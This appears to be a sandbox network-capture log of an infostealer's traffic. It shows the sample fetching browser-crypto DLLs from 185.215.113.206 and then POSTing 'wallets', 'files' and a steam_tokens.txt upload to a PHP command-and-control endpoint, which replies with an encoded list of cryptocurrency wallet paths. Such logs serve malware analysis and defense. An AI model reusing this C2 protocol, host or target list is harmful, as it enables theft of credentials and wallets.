Nov 24, 2024 10:25:17.427239895 CET	224	IN	Data Raw: 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 40 8d 04 3f 83 c0 fe 8d 04 40 89 c1 Data Ascii: T$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$
Nov 24, 2024 10:25:17.427248955 CET	1236	IN	Data Raw: 20 c1 e7 08 09 d7 0f b6 4c 24 24 09 f9 0f b6 d3 c1 e2 18 8b 5c 24 08 0f b6 ff c1 e7 10 09 d7 0f b6 5c 24 0c c1 e3 08 09 fb 0f b6 54 24 10 09 da 89 cb 31 c3 25 00 00 00 ff 81 e1 00 00 80 7f 31 c1 89 d8 25 00 00 ff 00 09 c8 89 d9 0f b6 fb 31 54 24 Data Ascii: L$$\$\$T$1%1%1T$D\|$@\|$t\$(D$\$(sFD$,D$s@D$,D$s<D$,sBD$,s@D$ ,D$ D$$D$$D$(D$GD$?D$D$1D$L$
Nov 24, 2024 10:25:17.427362919 CET	1236	IN	Data Raw: 00 00 00 29 c8 c1 f8 1f 8b 7d 1c 80 7c 37 f3 01 f7 d0 19 ff 09 c7 21 df 21 d7 b8 05 00 00 00 29 c8 c1 f8 1f f7 d0 8b 55 1c 80 7c 32 f2 01 19 db 09 c3 b8 06 00 00 00 29 c8 c1 f8 1f 80 7c 32 f1 01 f7 d0 19 d2 09 c2 21 da 21 fa b8 07 00 00 00 29 c8 Data Ascii: )}\|7!!)U\|2)\|2!!)M\|1t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1$^_[]USWVut:}
Nov 24, 2024 10:25:17.427372932 CET	1236	IN	Data Raw: 00 00 00 89 fe 89 f0 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 08 8b 55 18 8b 4d 14 8b 5d 0c 8b 75 08 8b 3e 8b 46 04 39 d8 74 3a 8d 4e 08 8b 56 08 c7 46 08 00 00 00 00 85 ff 89 4d ec 89 55 f0 74 48 8b 48 0c ff 15 00 80 0a 10 6a 01 57 ff Data Ascii: ^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM1^_[]
Nov 24, 2024 10:25:17.427385092 CET	1236	IN	Data Raw: 6b f7 07 00 83 c4 04 68 02 01 00 00 56 e8 6f f7 07 00 83 c4 08 e9 cb 00 00 00 8d bd f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 89 b5 ec fe ff ff 56 e8 cf f7 07 00 83 c4 0c bb 00 01 00 00 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 8b 75 0c 56 ff 75 Data Ascii: khVohh !Vf.@uVuW)9wSuWT>\>=t%>>fM1
Nov 24, 2024 10:25:17.435626984 CET	1236	IN	Data Raw: f8 08 0f 82 fc 02 00 00 8b 4d d4 83 e1 f8 8d 41 f8 89 c2 c1 ea 03 83 c2 01 85 c0 89 4d c8 0f 84 ef 01 00 00 89 d1 83 e1 fe 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef c9 66 0f ef d2 8b 7d 10 8b 5d cc 0f 1f 80 00 00 00 00 89 f0 09 d8 66 0f 6e 34 07 66 Data Ascii: MAMfo 1ff}]fn4ff`fafofrfo f[fpffpffof% fpfpfbfnlff`fafffrf% [fpffpfpffpfbff
Nov 24, 2024 10:25:17.435725927 CET	1236	IN	Data Raw: 88 de 89 fb 80 c3 01 0f b6 fb 8b 45 f0 8a 14 38 00 d6 88 75 e8 0f b6 f6 8a 34 30 88 34 38 88 14 30 00 d6 0f b6 f6 8a 75 e8 8b 7d e4 8a 54 0f ff 32 14 30 8b 45 dc 88 54 08 ff 8b 45 d8 01 c8 83 c0 01 83 c1 01 83 f8 01 75 ba 8b 45 f0 88 98 00 01 00 Data Ascii: E8u40480u}T20ETEuE14^_[]UM1]U}f.MMuEMMU2}E0MEEMLEE
Nov 24, 2024 10:25:19.039330959 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 10:25:19.755110979 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:25:19 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 24, 2024 10:25:20.536529064 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 10:25:20.988451958 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:25:20 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 24, 2024 10:25:21.904206038 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 10:25:22.357150078 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:25:22 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 24, 2024 10:25:25.692390919 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 10:25:26.145817995 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:25:25 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 24, 2024 10:25:27.535394907 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 10:25:27.989140034 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:25:27 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 24, 2024 10:25:30.305069923 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJJKKJJDAAAAAKFHJJDG Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 10:25:31.425384045 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:25:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 10:25:31.685486078 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGDBKFBAKFBFHIECFBFI Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 66 64 30 32 33 38 34 63 38 35 31 30 61 65 33 63 34 33 34 30 37 36 66 30 63 39 33 61 34 63 39 32 65 65 62 36 64 34 33 34 34 63 31 61 66 39 64 36 34 63 61 34 65 35 66 62 65 66 34 35 36 61 37 33 39 66 35 30 36 66 38 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 2d 2d 0d 0a Data Ascii: ------DGDBKFBAKFBFHIECFBFIContent-Disposition: form-data; name="token"3fd02384c8510ae3c434076f0c93a4c92eeb6d4344c1af9d64ca4e5fbef456a739f506f8------DGDBKFBAKFBFHIECFBFIContent-Disposition: form-data; name="message"wallets------DGDBKFBAKFBFHIECFBFI--
Nov 24, 2024 10:25:32.138463974 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:25:31 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 24, 2024 10:25:32.153076887 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIEHDBGDHDAECBGDHJKF Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 66 64 30 32 33 38 34 63 38 35 31 30 61 65 33 63 34 33 34 30 37 36 66 30 63 39 33 61 34 63 39 32 65 65 62 36 64 34 33 34 34 63 31 61 66 39 64 36 34 63 61 34 65 35 66 62 65 66 34 35 36 61 37 33 39 66 35 30 36 66 38 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 2d 2d 0d 0a Data Ascii: ------FIEHDBGDHDAECBGDHJKFContent-Disposition: form-data; name="token"3fd02384c8510ae3c434076f0c93a4c92eeb6d4344c1af9d64ca4e5fbef456a739f506f8------FIEHDBGDHDAECBGDHJKFContent-Disposition: form-data; name="message"files------FIEHDBGDHDAECBGDHJKF--
Nov 24, 2024 10:25:32.605638027 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:25:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 10:25:32.663930893 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJEBGDAFHJEBGDGIJDH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 66 64 30 32 33 38 34 63 38 35 31 30 61 65 33 63 34 33 34 30 37 36 66 30 63 39 33 61 34 63 39 32 65 65 62 36 64 34 33 34 34 63 31 61 66 39 64 36 34 63 61 34 65 35 66 62 65 66 34 35 36 61 37 33 39 66 35 30 36 66 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JJJEBGDAFHJEBGDGIJDHContent-Disposition: form-data; name="token"3fd02384c8510ae3c434076f0c93a4c92eeb6d4344c1af9d64ca4e5fbef456a739f506f8------JJJEBGDAFHJEBGDGIJDHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JJJEBGDAFHJEBGDGIJDHContent-Disposition: form-data; name="file"------JJJEBGDAFHJEBGDGIJDH--
Nov 24, 2024 10:25:33.614650965 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:25:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 10:25:33.648001909 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKKFHDAKECFHIDHJDAAA Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 66 64 30 32 33 38 34 63 38 35 31 30 61 65 33 63 34 33 34 30 37 36 66 30 63 39 33 61 34 63 39 32 65 65 62 36 64 34 33 34 34 63 31 61 66 39 64 36 34 63 61 34 65 35 66 62 65 66 34 35 36 61 37 33 39 66 35 30 36 66 38 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 2d 2d 0d 0a Data Ascii: ------AKKFHDAKECFHIDHJDAAAContent-Disposition: form-data; name="token"3fd02384c8510ae3c434076f0c93a4c92eeb6d4344c1af9d64ca4e5fbef456a739f506f8------AKKFHDAKECFHIDHJDAAAContent-Disposition: form-data; name="message"ybncbhylepme------AKKFHDAKECFHIDHJDAAA--
Nov 24, 2024 10:25:33.981101990 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKKFHDAKECFHIDHJDAAA Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 66 64 30 32 33 38 34 63 38 35 31 30 61 65 33 63 34 33 34 30 37 36 66 30 63 39 33 61 34 63 39 32 65 65 62 36 64 34 33 34 34 63 31 61 66 39 64 36 34 63 61 34 65 35 66 62 65 66 34 35 36 61 37 33 39 66 35 30 36 66 38 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 2d 2d 0d 0a Data Ascii: ------AKKFHDAKECFHIDHJDAAAContent-Disposition: form-data; name="token"3fd02384c8510ae3c434076f0c93a4c92eeb6d4344c1af9d64ca4e5fbef456a739f506f8------AKKFHDAKECFHIDHJDAAAContent-Disposition: form-data; name="message"ybncbhylepme------AKKFHDAKECFHIDHJDAAA--
